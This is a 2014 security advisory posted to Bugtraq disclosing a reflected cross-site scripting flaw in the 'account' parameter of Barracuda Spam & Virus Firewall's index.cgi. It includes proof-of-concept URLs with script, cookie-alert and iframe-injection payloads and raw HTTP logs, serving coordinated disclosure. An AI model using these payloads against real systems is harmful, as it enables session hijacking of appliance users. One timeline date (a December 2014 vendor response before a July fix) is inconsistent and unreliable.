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Barracuda Networks Spam&Virus Firewall v5.1.3 - Client Side Cross Site Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: Barracuda Networks Spam&Virus Firewall v5.1.3 - Client Side Cross Site Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Mon, 28 Jul 2014 10:30:05 +0200
Document Title:
===============
Barracuda Networks Spam&Virus Firewall v5.1.3 - Client Side Cross Site
Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1118
Barracuda Networks Security ID (BNSEC): BNSEC-1052
https://www.barracuda.com/support/knowledgebase/501600000013lYI
Solution #00006606
BNSEC-01052: Non-persistent XSS in Barracuda Spam and Virus Firewall v5.1.3
Release Date:
=============
2014-07-25
Vulnerability Laboratory ID (VL-ID):
====================================
1118
Common Vulnerability Scoring System:
====================================
2.9
Product & Service Introduction:
===============================
For efficient, effective corporate communication and collaboration, today’s
organizations need more than just
security against spam and malware. They need a comprehensive email governance
solution that combines granular
policy management, real-time visibility into email activity, and the ability to
handle massive volume and
huge files. Barracuda Spam & Virus Firewall is today’s solution for
comprehensive email governance.
(Copy of the Vendor Product Homepage:
https://www.barracuda.com/products/spamandvirusfirewall/ )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site
vulnerability in the Barracuda Spam and Virus Firewall v5.1.3 (200,400 or 600)
& Vx web-application.
Vulnerability Disclosure Timeline:
==================================
2013-11-19: Researcher Notification & Coordination (Ateeq Khan)
2013-11-19: Vendor Notification (Barracuda Networks Security Incident Team
- Bug Bounty Program)
2014-12-20: Vendor Response/Feedback (Barracuda Networks Security Incident
Team - Bug Bounty Program)
2014-07-15: Vendor Fix/Patch (Barracuda Networks Developer Team)
2014-07-25: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Barracuda Networks
Product: Spam & Virus Firewall 6.0.0.028 - 100 200 300 400 500 600 700 800 900
1000
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A client-side cross site scripting web vulnerability is detected in the
official Barracuda Spam & Antivirus Firewall Web-Application.
The vulnerability allows remote attackers to manipulate via POST method
web-application to browser requests (client-side).
The vulnerability is located in the `Per User Account View` module of the
security appliance web-application. The vulnerable file is
index.cgi and the affected value is `account`. Remote attackers can inject own
malicious script codes on client-side. The attack
vector of the issue is non-persistent and the request method to execute the
malicious code is GET. Remote attackers can for example
send manipualted links to priviledged application users to hijack session
information (client-side) or execute non persistent codes.
The security risk of the non-persistent input validation web vulnerability is
estimated as low with a cvss (common vulnerability
scoring system) count of 2.9. The non persistent cross site vulnerability can
be exploited by remote attackers without privileged
application user account and with low or medium user interaction. Successful
exploitation of the client-side cross site scripting
web vulnerability results in session hijacking, client-side phishing,
client-side unauthorized external redirects and client-side
manipulation of the connected or affected module context.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Users > Per User Account View
Vulnerable File(s):
[+] index.cgi
Vulnerable Parameter(s):
[+] account=
Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by
remote attackers without privileged web-application user account and with
low user interaction click. For security demonstration or to reproduce the
vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the security vulnerability ...
1. Login to the spam and antivirus firewall as normal guest user
2. Once logged in, click on the Basic Tab once
3. Now copy paste the following payload in the URL carefully after the password
field replacing all other variables with our string
&primary_tab=USERS&new_secondary_tab=per_user_account_view
&account=domainadmin@barracuda.comaf92c"><script>alert(1)</script>e352896d01c&auth_type=Local&locale=en_US
&secondary_tab=per_user_change_password&page_submitted=true&content_only=1&domain=&user=guest&role=&ispopup=1
&parent_name=pu_pref637248&popup_width=720&popup_height=500
4. You should now be able to see a javascript popup revealing the session
cookies hence proving the existence of this vulnerability!
PoC: Frame Inject
https://spam.ptest.cudasvc.com/cgi-mod/index.cgi?auth_type=Local&et=1382217804&locale=en_US
&password=03f27a30cecedbbda727698954077eec&primary_tab=USERS&new_secondary_tab=per_user_account_view
&account=domainadmin@barracuda.comaf92c%3E%3Ciframe%20src=http://www.vulnerability-lab.com%3Ee352896d01c
&auth_type=Local&locale=en_US&secondary_tab=per_user_change_password&page_submitted=true&content_only=1
&domain=&user=guest&role=&ispopup=1&parent_name=pu_pref637248&popup_width=720&popup_height=500
PoC: Cookie Steal
https://spam.ptest.cudasvc.com/cgi-mod/index.cgi?auth_type=Local&et=1382217804&locale=en_US
&password=03f27a30cecedbbda727698954077eec&primary_tab=USERS&new_secondary_tab=per_user_account_view
&account=domainadmin@barracuda.comaf92c%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3Ee352896d01c
&auth_type=Local&locale=en_US&secondary_tab=per_user_change_password&page_submitted=true&content_only=1
&domain=&user=guest&role=&ispopup=1&parent_name=pu_pref637248&popup_width=720&popup_height=500
Review: Change Password - Mail Session Title
<tbody><tr><td colspan="1" style="padding:0 0 5px 0;" valign="top"
width="100%">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr><td class="TitleLeft"></td><td class="TitleTop">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr><td><a name="Change Password:domainadmin@barracuda.comaf92c>
<iframe src=http://www.vulnerability-lab.com>e352896d01c">
Change Password:domainadmin@barracuda.comaf92c><iframe
src="http://www.vulnerability-lab.com";>e352896d01c</td>
--- PoC Session Request Logs ---
Request:
--------
GET
/cgi-mod/index.cgi?auth_type=Local&et=1382217804&locale=en_US&password=03f27a30cecedbbda727698954077eec&primary_tab=USERS&new_secondary_tab=per_user_account_view&account=domainadmin@barracuda.comaf92c%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee352896d01c&auth_type=Local&locale=en_US&secondary_tab=per_user_change_password&page_submitted=true&content_only=1&domain=&user=guest&role=&ispopup=1&parent_name=pu_pref637248&popup_width=720&popup_height=500
HTTP/1.1
Host: spam.ptest.cudasvc.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101
Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: ys-preview_west=o%3Acollapsed%3Db%253A1;
ys-preview_south=o%3Acollapsed%3Db%253A1;
ys-preview_east=o%3Acollapsed%3Db%253A0
Connection: keep-alive
Response:
---------
HTTP/1.1 200 OK
Server: BarracudaHTTP 4.0
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Set-Cookie: ys-preview_west=o%3Acollapsed%3Db%253A1; path=/
Set-Cookie: ys-preview_south=o%3Acollapsed%3Db%253A1; path=/
Set-Cookie: ys-preview_east=o%3Acollapsed%3Db%253A0; path=/
Expires: Thu, 18 Oct 2012 23:48:26 GMT
Date: Fri, 18 Oct 2013 23:48:26 GMT
Content-Length: 8325
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml";><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
...[Trimmed]...
<a name="Change
Password:domainadmin@barracuda.comaf92c"><script>alert(document.cookie)</script>e352896d01c"/>
...[Trimmed]...
Reference(s):
https://spam.ptest.cudasvc.com/cgi-mod/index.cgi
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse of the account and session
id echo when processing to reset passwords via the email address.
Parse the parameter value input of the account and encode the output in the
session values.
Barracuda Networks: Appliances > Advanced > Firmware Updates (automatic) page
or use the regular customer panel
https://www.barracuda.com/support/knowledgebase/501600000013lYI
Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability is
estimated as medium.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ateeq ur Rehman Khan
(ateeq@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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